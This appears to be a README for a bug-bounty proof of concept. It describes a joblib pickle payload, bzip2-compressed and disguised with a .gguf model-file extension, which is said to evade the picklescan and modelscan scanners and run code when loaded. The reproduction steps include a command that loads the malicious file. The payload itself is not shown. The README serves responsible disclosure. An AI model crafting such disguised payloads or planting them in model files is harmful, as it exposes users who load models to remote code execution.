zamaanahmed/mfv-gguf-poc

GGUF (llama.cpp) (.gguf) MFV PoC — Authorized Security Research

Authorization: huntr.com / Protect AI MFV bug bounty program. All work local in a Python venv. Responsible disclosure only. Human-submitted.

Summary

Format: GGUF (llama.cpp) (.gguf) Bypass: picklescan 1.0.4 + modelscan 0.8.8 Modes bypassed: all 4 (direct + directory scan for both scanners) RCE via: joblib.load('malicious.gguf') Technique: bzip2-compressed joblib payload Tested: 2026-06-25

Files

• malicious.gguf — bzip2-compressed joblib payload with .gguf extension
• poc-gguf.py — reproduction script
• README.md — this file

Reproduction

pip install picklescan modelscan joblib

python3 poc-gguf.py

picklescan -p malicious.gguf
picklescan -p .
modelscan  -p malicious.gguf
modelscan  -p .

python3 -c "
import joblib
print('--- BEFORE LOAD ---')
joblib.load('malicious.gguf')
print('--- AFTER LOAD ---')
"